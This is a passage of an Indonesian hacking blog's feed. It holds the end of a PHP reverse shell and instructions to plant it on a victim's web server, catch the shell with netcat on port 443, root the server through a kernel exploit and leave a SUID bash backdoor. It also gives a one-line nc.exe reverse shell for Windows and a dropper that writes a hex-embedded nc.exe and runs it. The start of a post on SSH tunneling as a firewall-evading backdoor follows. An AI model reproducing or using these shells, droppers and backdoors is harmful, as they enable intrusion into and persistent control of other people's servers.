		<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$debug</span><span style="color: #009900;">&#41;</span> printit<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;SOCK: <span style="color: #006699; font-weight: bold;">$input</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #990000;">fwrite</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$pipes</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$input</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #666666; font-style: italic;">// If we can read from the process's STDOUT</span>
	<span style="color: #666666; font-style: italic;">// send data down tcp connection</span>
	<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">in_array</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$pipes</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$read_a</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$debug</span><span style="color: #009900;">&#41;</span> printit<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;STDOUT READ&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #000088;">$input</span> <span style="color: #339933;">=</span> <span style="color: #990000;">fread</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$pipes</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$chunk_size</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$debug</span><span style="color: #009900;">&#41;</span> printit<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;STDOUT: <span style="color: #006699; font-weight: bold;">$input</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #990000;">fwrite</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$sock</span><span style="color: #339933;">,</span> <span style="color: #000088;">$input</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #666666; font-style: italic;">// If we can read from the process's STDERR</span>
	<span style="color: #666666; font-style: italic;">// send data down tcp connection</span>
	<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">in_array</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$pipes</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">2</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$read_a</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$debug</span><span style="color: #009900;">&#41;</span> printit<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;STDERR READ&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #000088;">$input</span> <span style="color: #339933;">=</span> <span style="color: #990000;">fread</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$pipes</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">2</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$chunk_size</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$debug</span><span style="color: #009900;">&#41;</span> printit<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;STDERR: <span style="color: #006699; font-weight: bold;">$input</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #990000;">fwrite</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$sock</span><span style="color: #339933;">,</span> <span style="color: #000088;">$input</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #990000;">fclose</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$sock</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #990000;">fclose</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$pipes</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #990000;">fclose</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$pipes</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #990000;">fclose</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$pipes</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">2</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #990000;">proc_close</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$process</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">// Like print, but does nothing if we've daemonised ourself</span>
<span style="color: #666666; font-style: italic;">// (I can't figure out how to redirect STDOUT like a proper daemon)</span>
<span style="color: #000000; font-weight: bold;">function</span> printit <span style="color: #009900;">&#40;</span><span style="color: #000088;">$string</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
	<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #000088;">$daemon</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #b1b100;">print</span> <span style="color: #0000ff;">&quot;<span style="color: #006699; font-weight: bold;">$string</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></div></div>

<p style="text-align: justify;">Setelah file tersebut dibuat, cara memakainya sangat mudah, anda hanya perlu memasukkan file tersebut ke suatu website. Lalu request file PHP tersebut dari browser anda. Contohnya bila anda menamakan file tersebut dengan rs.php, maka anda cukup membuka browser ke URL http://ALAMAT.IP.KORBAN/rs.php?ip=ALAMAT.IP.HACKER&#038;port=NO.PORT.HACKER</p>
<p style="text-align: justify;">Tapi sebelumnya anda harus sudah menyiapkan &#8220;listener&#8221;-nya di server milik hacker. Cara termudah adalah dengan memakai program netcat. Netcat di linux sudah secara default tersedia, sedangkan untuk windows harus didownload dulu dari <a href="http://joncraton.org/files/nc111nt.zip">sini</a>. </p>
<p align="justify">Dua gambar di bawah ini menunjukkan kondisi ketika ketika rs.php di-request, seketika itu juga netcat yang sudah diset untuk listen di port 443 menerima koneksi dari server korban dan memberikan shell untuk anda. Saya memilih port 443 karena biasanya firewall mengizinkan koneksi outbound pada port http dan https, bila saya memilih port 4444 dikhawatirkan firewall di server korban akan memblok koneksi tersebut karena port yang tidak umum.</p>
<p><a href="http://www.ilmuhacking.com/wp-content/uploads/2010/07/rslinux.png"><img src="http://www.ilmuhacking.com/wp-content/uploads/2010/07/rslinux.png" alt="" title="rslinux" width="642" height="155" class="aligncenter size-full wp-image-2275" /></a><br />
<a href="http://www.ilmuhacking.com/wp-content/uploads/2010/07/rslinuxonwin1.png"><img src="http://www.ilmuhacking.com/wp-content/uploads/2010/07/rslinuxonwin1.png" alt="" title="rslinuxonwin" width="660" height="154" class="aligncenter size-full wp-image-2280" /></a></p>
<p style="text-align: justify;">Bila anda hosting di tempat yang tidak memberikan akses ssh, jangan kuatir, dengan cara ini anda bisa mendapatkan shell interaktif layaknya memakai ssh. Pengelola hosting juga jangan merasa aman bila tidak menyediakan akses ssh bagi customernya karena dengan cara ini customer bisa mendapatkan akses shell seperti ssh dan melakukan eksploitasi lokal lebih leluasa.</p>
<p><b>Privilege Escalation</b></p>
<p style="text-align: justify;">Mari kita lanjutkan skenarionya. Setelah kita mendapatkan akses shell sebagai user apache (ceritanya kita berhasil menghack website korban melalui sql injection attack). Kenapa user apache? Karena webservernya kebetulan dijalankan dengan privilege user apache.</p>
<p style="text-align: justify;">
Perintah uname memperlihatkan bahwa server hosting tersebut memakai Linux dengan kernel yang vulnerable terhadap null pointer dereference. Itu artinya kita bisa menjadi root di server hosting tersebut. Gambar di bawah ini adalah langkah yang dilakukan hacker untuk menjadi root.
</p>
<p><a href="http://www.ilmuhacking.com/wp-content/uploads/2010/07/local_exploit1.png"><img src="http://www.ilmuhacking.com/wp-content/uploads/2010/07/local_exploit1.png" alt="" title="local_exploit1" width="683" height="804" class="aligncenter size-full wp-image-2289" /></a><br />
<b>Reverse Rootshell</b></p>
<p style="text-align: justify;">
Setelah menjadi root dengan mengeksploitasi kernel, hacker berusaha memasang backdoor sehingga dia bisa mendapatkan rootshell kapan saja dia mau. Dia akan membuat salinan /bin/bash ke dalam /sbin/bash, kemudian mengubah permissionnya menjadi SUID root (4755). Dengan cara ini, siapapun yang mengeksekusi /sbin/bash bisa menjadi root (khusus untuk bash perlu ditambahkan opsi -p untuk mendapatkan rootshell).
</p>
<p style="text-align: justify;">
Setelah membuat /sbin/bash, kini hacker membuat file baru rsroot.php yang merupakan modifikasi dari rs.php. Perbedaan antara rs.php dan rsroot.php hanya pada baris yang berisi variabel $shell. Bila sebelumnya variable $shell berisi /bin/bash, maka kini menjadi /sbin/bash yaitu root shell yang sudah dibuat hacker.
</p>
<p><a href="http://www.ilmuhacking.com/wp-content/uploads/2010/07/local_exploit.png"><img src="http://www.ilmuhacking.com/wp-content/uploads/2010/07/local_exploit.png" alt="" title="local_exploit" width="577" height="504" class="aligncenter size-full wp-image-2291" /></a></p>
<p style="text-align: justify;">
Sekarang backdoor rsroot.php sudah siap dieksekusi. Kapanpun hacker menginginkan rootshell di server korban, dia hanya perlu membuka URL http://ALAMAT.IP.KORBAN/rsroot.php?ip=ALAMAT.IP.HACKER&#038;port=NO.PORT.HACKER.
</p>
<p style="text-align: justify;">
Gambar di bawah ini menunjukkan perbedaan antara rs.php dan rsroot.php. Ketika hacker mendapatkan rootshell dengan merequest URL rsroot.php terlihat karakter prompt yang didapatkan adalah &#8220;#&#8221; yang berarti ini adalah rootshell. Namun ketika shell di dapatkan melalui rs.php, maka prompt yang didapatkan adalah &#8220;$&#8221; yang berarti hanya normal shell sebagai apache.
</p>
<p><a href="http://www.ilmuhacking.com/wp-content/uploads/2010/07/rsrootvsrs1.png"><img src="http://www.ilmuhacking.com/wp-content/uploads/2010/07/rsrootvsrs1.png" alt="" title="rsrootvsrs" width="545" height="223" class="aligncenter size-full wp-image-2328" /></a><br />
<b>Reverse Shell di Windows</b></p>
<p style="text-align: justify;">
File rs.php hanya berlaku untuk server berbasis UNIX seperti Linux, file tersebut tidak berlaku bila webserver berjalan di OS Windows. Karena implementasi dalam php murni tidak bisa, jadi saya menyiasati dengan cara script php tersebut mengeksekusi netcat.exe untuk memberikan reverse shell ke server hacker.
</p>
<p style="text-align: justify;">
Dalam script php, reverse shell yang memanfaatkan netcat.exe bisa dibuat dalam satu baris saja:
</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #990000;">system</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;nc.exe &quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;ip&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot; &quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;port&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot; -d -e cmd.exe&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></div></div>

<p style="text-align: justify;">
Masalahnya adalah script di atas memanggil netcat (nc.exe) yang umumnya tidak ada di windows. Ada beberapa alternatif cara untuk mendapatkan nc.exe di windows. Alternatifnya adalah:</p>
<ul>
<li>download: file nc.exe didownload dari suatu server. Donwload bisa dengan php atau tftp.exe.</li>
<li>upload: dibuat suatu file php untuk melakukan upload file ke webserver.</li>
<li>generate: script php akan membuat file nc.exe kemudian mengeksekusinya.</li>
</ul>
<p style="text-align: justify;">
Dari ketiga alternatif tersebut saya memilih opsi terakhir, yaitu generate karena paling praktis, tidak perlu download/upload nc.exe terpisah, cukup satu file php saja. Caranya adalah saya mengubah isi file binary nc.exe menjadi bentuk hexa, kemudian menaruhnya di awal file php sebagai variabel string. Kemudian isi variabel string ini akan diubah menjadi bentuk binary decimal dan ditulis ke dalam file nc.exe.
</p>
<p style="text-align: justify;">
Potongan script php di bawah ini mengubah variabel string dalam bentuk hexa ($hex) menjadi bentuk karakter ASCII (binary) dengan fungsi chr() dan disimpan dalam variabel $nc. Kemudian variabel $nc ini ditulis ke dalam file nc.exe dengan fungsi file_put_contents(). Setelah file nc.exe berhasil dibuat, maka dilanjutkan dengan mengeksekusi nc.exe dengan fungsi system().
</p>
<p align="justify">
Dalam potongan code ini, isi variabel $hex sengaja tidak ditulis lengkap agar mudah dilihat.
</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?</span>
<span style="color: #000088;">$hex</span><span style="color: #339933;">=</span>
<span style="color: #0000ff;">&quot;310101010255362c043bdfcc7ca3b2ff01141b89b009b9140100d9086c64&quot;</span><span style="color: #339933;">.</span>
<span style="color: #0000ff;">&quot;2feff743a88d6c11006fe4f692cb6f91739192980f96985c8ebcbd659d0b&quot;</span><span style="color: #339933;">.</span>
<span style="color: #0000ff;">&quot;699d40629b669b4a9cdc9e309c27349c1c112dea77e00102a635002f003f&quot;</span><span style="color: #339933;">.</span>
<span style="color: #0000ff;">&quot;43fccddffd00a44700e047017700974800e0488d00984900e049dffccddf&quot;</span><span style="color: #339933;">.</span>
<span style="color: #0000ff;">&quot;8600994b00e04b73009b4d00e04d74009d4f00cddffccde04f75009f5000&quot;</span><span style="color: #339933;">.</span>
<span style="color: #0000ff;">&quot;e0509100a05100e05176f2cddffc00a15200e0529200a25300e0539300a3&quot;</span><span style="color: #339933;">.</span>
<span style="color: #0000ff;">&quot;0000237521721b243100ba78f6fdfbdd3200970300793300230f7a340024&quot;</span><span style="color: #339933;">.</span>
<span style="color: #0000ff;">&quot;077b9df87cf9df250f7c36005e001e7d3700267e38736cf00a1d1a39fd0f&quot;</span><span style="color: #339933;">.</span>
<span style="color: #0000ff;">&quot;cf97ffbc80300029812d005f001f823d002b8397b7db47d47f070e09030f&quot;</span><span style="color: #339933;">.</span>
<span style="color: #0000ff;">&quot;00947100dfde4c6d9f1136e457001707116500456b253614dd1272090407&quot;</span><span style="color: #339933;">.</span>
<span style="color: #0000ff;">&quot;db6f866d13d454f702790059001907155de1ad6dda550407166900094317&quot;</span><span style="color: #339933;">.</span>
<span style="color: #0000ff;">&quot;cdb1c1ee6f004f480018d65013220477fbb55ba2c71a5d9a001dd65553ad&quot;</span><span style="color: #339933;">.</span>
<span style="color: #0000ff;">&quot;0e1b1ce76191a6fe526bd51e815ccc1f6400440004a2c4a76e660046c321&quot;</span><span style="color: #339933;">.</span>
<span style="color: #0000ff;">&quot;671de75bc78ea222689f083f236a004a4b3460e1246b006f0b9a164cffda&quot;</span><span style="color: #339933;">.</span>
<span style="color: #0000ff;">&quot;efcb000c263b003a4e27272a072860007eca42903a95225c28beb5c7747a&quot;</span><span style="color: #339933;">.</span>
<span style="color: #0000ff;">&quot;005a8c062c7800582c7414ef0c2d630043db2e8e56e828de51af2f620042&quot;</span><span style="color: #339933;">.</span>
<span style="color: #0000ff;">&quot;f23095b81596c54e1407316d8d3dbe3fdfb100322c003c332e003e073413&quot;</span><span style="color: #339933;">.</span>
<span style="color: #0000ff;">&quot;953487748d352a72740ddbb210a054a2684655749b5b30822e3d70a46a4e&quot;</span><span style="color: #339933;">.</span>
<span style="color: #0000ff;">&quot;57616b6e3304ce3f907cce4058dc82db9a947641a80c6e8e0bcd2d144284&quot;</span><span style="color: #339933;">.</span>
<span style="color: #0000ff;">&quot;6fa6c21470652d140c1e4a1471fe36cb663b4737077748388d49394af0e4&quot;</span><span style="color: #339933;">.</span>
<span style="color: #0000ff;">&quot;d91f842d4b34dcf22c70c0b24d367d742b36cb66794f3175503291513396&quot;</span><span style="color: #339933;">.</span>
<span style="color: #0000ff;">&quot;cdb25976523092532e93bff4bf42e085e087e089e08b09e088e08ae08d72&quot;</span><span style="color: #339933;">.</span>
<span style="color: #0000ff;">&quot;66a48c5ba20337919cc056b224e04881da455c00a5c0d0c5852efd1f5253&quot;</span><span style="color: #339933;">.</span>
<span style="color: #0000ff;">&quot;4453d7cf6e066ef8969fa9d33d46fcf5fc8a7e2600633a5c3e5c5265817d&quot;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$nc</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;&quot;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">for</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$i</span><span style="color: #339933;">=</span><span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span><span style="color: #000088;">$i</span><span style="color: #339933;">&lt;</span>strlen<span style="color: #009900;">&#40;</span><span style="color: #000088;">$hex</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">/</span><span style="color: #cc66cc;">2</span><span style="color: #339933;">;</span><span style="color: #000088;">$i</span><span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
    <span style="color: #000088;">$nc</span><span style="color: #339933;">.=</span><span style="color: #990000;">chr</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">hexdec</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$hex</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$i</span><span style="color: #339933;">*</span><span style="color: #cc66cc;">2</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #000088;">$hex</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$i</span><span style="color: #339933;">*</span><span style="color: #cc66cc;">2</span><span style="color: #339933;">+</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #990000;">file_put_contents</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;nc.exe&quot;</span><span style="color: #339933;">,</span><span style="color: #000088;">$nc</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #990000;">system</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;nc.exe &quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;ip&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot; &quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;port&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot; -d -e cmd.exe&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></div></div>

<p align="justify">
Source code lengkap reverse shell php di windows bisa didownload di <a href="http://www.ilmuhacking.com/wp-content/uploads/2010/07/rswin.zip">sini</a> lalu ekstrak dan masukkan ke web server milik korban. Gambar di bawah ini menunjukkan ketika file rswin.php dieksekusi dan memberikan shell cmd.exe kepada server milik hacker yang menjalankan Linux.
</p>
<p><a href="http://www.ilmuhacking.com/wp-content/uploads/2010/07/gotrswin.php_.png"><img src="http://www.ilmuhacking.com/wp-content/uploads/2010/07/gotrswin.php_.png" alt="" title="gotrswin.php" width="496" height="640" class="aligncenter size-full wp-image-2306" /></a></p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=IZ5LlbNf-HE:-5lWajhvZOE:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=IZ5LlbNf-HE:-5lWajhvZOE:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?i=IZ5LlbNf-HE:-5lWajhvZOE:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=IZ5LlbNf-HE:-5lWajhvZOE:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?i=IZ5LlbNf-HE:-5lWajhvZOE:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=IZ5LlbNf-HE:-5lWajhvZOE:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=IZ5LlbNf-HE:-5lWajhvZOE:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?i=IZ5LlbNf-HE:-5lWajhvZOE:gIN9vFwOqvQ" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://www.ilmuhacking.com/how-to/reverse-connecting-shell-di-php/feed/</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>Kupas Tuntas SSH Tunneling</title>
		<link>http://www.ilmuhacking.com/how-to/kupas-tuntas-ssh-tunneling/</link>
		<comments>http://www.ilmuhacking.com/how-to/kupas-tuntas-ssh-tunneling/#comments</comments>
		<pubDate>Mon, 14 Jun 2010 17:43:30 +0000</pubDate>
		<dc:creator>Rizki Wicaksono</dc:creator>
				<category><![CDATA[How to]]></category>

		<guid isPermaLink="false">http://www.ilmuhacking.com/?p=2150</guid>
		<description><![CDATA[SSH Tunneling adalah teknik yang wajib dikuasai hacker. Teknik ini sangat cocok dipakai sebagai backdoor dari  dunia luar langsung menembus ke dalam &#8220;behind enemy lines&#8221; melewati semua firewall, IDS, IPS atau apapun itu di perbatasan. Dalam artikel ini saya juga menjelaskan bagaimana melakukan chaining tunnel, yaitu menyambung tunnel dengan tunnel lain. Apa itu Tunneling? Secara [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">
<p style="text-align: justify;">SSH Tunneling adalah teknik yang wajib dikuasai hacker. Teknik ini sangat cocok dipakai sebagai backdoor dari  dunia luar langsung menembus ke dalam &#8220;behind enemy lines&#8221; melewati semua firewall, IDS, IPS atau apapun itu di perbatasan. Dalam artikel ini saya juga menjelaskan bagaimana melakukan chaining tunnel, yaitu menyambung tunnel dengan tunnel lain.</p>
<p style="text-align: justify;"><strong>Apa itu Tunneling?</strong></p>
<p style="text-align: justify;">Secara sederhana tunneling berarti mengirimkan data melalui koneksi lain yang sudah terbentuk. Kalau anda buka situs internet banking, pasti anda akan membukanya dengan URL berawalan &#8220;https&#8221;, yang sejatinya adalah data dalam protokol HTTP yang dikirimkan melalui koneksi dengan protokol SSL, atau &#8220;HTTP over SSL&#8221;, dalam bahasa gaulnya berarti HTTP digendong sama SSL.</p>
<p style="text-align: justify;">SSH dan SSL adalah dua contoh tunneling protocol, keduanya bisa dipakai untuk menggendong data dalam protokol apa saja (tidak hanya http). Hanya bedanya adalah pada SSL dibutuhkan public key certificate dalam format X.509 yang perlu diverifikasi melalui Certificate Authority resmi. SSH tidak memerlukan public key certificate, sehingga lebih sederhana dan lebih mudah dipakai.</p>
<p style="text-align: justify;"><span id="more-2150"></span></p>
<p style="text-align: justify;"><strong>Protocol Encapsulation</strong></p>
<p style="text-align: justify;">Dalam kasus https, data dalam protokol HTTP di-enkapsulasi (dibungkus) dalam protokol SSL sebagai payload. Enkapsulasi juga terjadi dalam layer model TCP/IP, yaitu data pada layer yang lebih atas menjadi payload dan di-enkapsulasi dengan protokol pada layer di bawahnya.</p>
<p style="text-align: justify;">Anda tentu tahu boneka lucu terbuat dari kayu dari Rusia bernama Matryoshka. Keunikan boneka ini adalah boneka yang berukuran kecil bisa dimasukkan ke dalam boneka yang lebih besar, dan boneka yang lebih besar juga bisa dimasukkan ke dalam boneka yang lebih besar lagi hingga pada akhirnya hanya ada satu boneka saja yang paling besar. Bila boneka yang paling besar itu dibuka, maka di dalamnya akan ada satu boneka yang lebih kecil, bila boneka tersebut dibuka, maka akan ditemukan boneka lagi yang lebih kecil, demikian seterusnya hingga boneka yang terkecil.</p>
<p style="text-align: justify;">Gambar di bawah ini sangat tepat menggambarkan apa itu protocol encapsulation.</p>
<p><a href="http://www.ilmuhacking.com/wp-content/uploads/2010/05/tcp_ip_troska1.jpg"><img class="aligncenter size-full wp-image-2173" title="tcp_ip_troska" src="http://www.ilmuhacking.com/wp-content/uploads/2010/05/tcp_ip_troska1.jpg" alt="" width="556" height="379" /></a></p>
<p style="text-align: justify;">Gambar di atas menggambarkan bagaimana data ketika dikirim dienkapsulasi dan dikirimkan melalui protokol yang berada pada layer di bawahnya. Pada gambar di atas bisa dikatakan bahwa email message tersebut dikirimkan dalam bentuk paket SMTP over TCP over IP over Ethernet. Jadi pada akhirnya semua data tersebut akan terkirim dalam bentuk paket ethernet.</p>
<p style="text-align: justify;">Dalam ilustrasi boneka matryoshka, pesan email adalah boneka matryoshka terkecil. Boneka ini dimasukkan dalam boneka matryoshka SMTP yang ukurannya lebih besar, kemudian boneka matryoshka SMTP ini dimasukkan dalam boneka matryoshka TCP, kemudian boneka matryoshka TCP ini dimasukkan dalam boneka matryoshka IP, dan akhirnya dimasukkan ke dalam boneka matryoshka ethernet yang berukuran paling besar.</p>
<p style="text-align: justify;">Jadi boneka matryoshka yang diterima lawan biacara adalah boneka matryoshka yang terbesar. Bila boneka ini dibuka, di dalamnya ada boneka Matryoshka IP yang lebih kecil, dan bila boneka ini juga dibuka, di dalamnya ada boneka matryoshka TCP yang semakin kecil ukurannya. Bila boneka matryoshka TCP ini dibuka, di dalamnya ada boneka matryoshka SMTP yang didalamnya ada matryoshka email message. Email message adalah boneka matryoshka terkecil.</p>
<p style="text-align: justify;">
<p style="text-align: justify;"><strong>Port Forwarding</strong></p>
<p style="text-align: justify;">Port forwarding atau port mapping pengalihan (redirection) koneksi dari suatu IP:Port ke IP:Port yang lain.  Ini artinya adalah semua koneksi yang ditujukan ke IP:Port asal akan dialihkan ke IP:Port tujuan seolah-olah client sedang menghubungi IP:Port tujuan secara langsung.</p>
<p style="text-align: justify;">Contoh: bila kita definisikan port forwarding 127.0.0.1:8080 dipetakan ke 192.168.10.10:80, artinya bila browser di arahkan ke url http://127.0.0.1:8080, maka request HTTP tersebut akan diteruskan ke 192.168.10.10:80. Jadi walaupun pada localhost (127.0.0.1) port 8080 tidak ada web server, namun web browser bisa membuka web pada url http://localhost:8080.</p>
<p style="text-align: justify;">Gambar di bawah ini adalah contoh port forwarding dari web <a href="http://www.nakahara-informatics.com/iget/tutorials/remote_access/port_forwarding/">nakahara-informatics.com</a>.</p>
<p style="text-align: justify;"><a href="http://www.ilmuhacking.com/wp-content/uploads/2010/06/port-forwarding-contoh.png"><img class="aligncenter size-full wp-image-2195" title="port-forwarding-contoh" src="http://www.ilmuhacking.com/wp-content/uploads/2010/06/port-forwarding-contoh.png" alt="" width="547" height="583" /></a>Pada port forwarding tersebut, didefinisikan sehingga klien dari dunia luar bisa mengakses service yang ada pada jaringan internal. Port forwarding yang didefinisikan adalah:</p>
<ul>
<li>64.130.31.59:10004 &#8211;&gt; 192.168.1.103:22</li>
<p>Artinya untuk SSH ke host 192.168.1.103, maka client harus ssh ke IP 64.130.31.59 port 10004.</p>
<li>64.130.31.59:10001 &#8211;&gt; 192.168.1.100:22</li>
<p>Artinya untuk SSH ke host 192.168.1.100, maka client harus ssh ke IP 64.130.31.59 port 10001.</p>
<li>64.130.31.59:8080 &#8211;&gt; 192.168.1.102:80</li>
<p>Artinya untuk mengakses halaman web di host 192.168.1.102, maka url yang harus dibuka di browser adalah http://64.130.31.59:8080</ul>
<p style="text-align: justify;">
<p style="text-align: justify;">Port forwarding pada ssh, mirip dengan port forwarding pada gambar di atas, namun ada sedikit perbedaan. Pada port forward gambar di atas, titik koneksi masuk dan keluar sama, artinya koneksi masuk ke IP dan port tertentu, dan koneksi tersebut akan diforward ke tempat lain dari titik yang sama juga. Sedangkan port forwarding pada ssh, titik keluarnya berbeda dengan titik masuknya. Agar lebih jelas, silakan lihat gambar di bawah ini.</p>
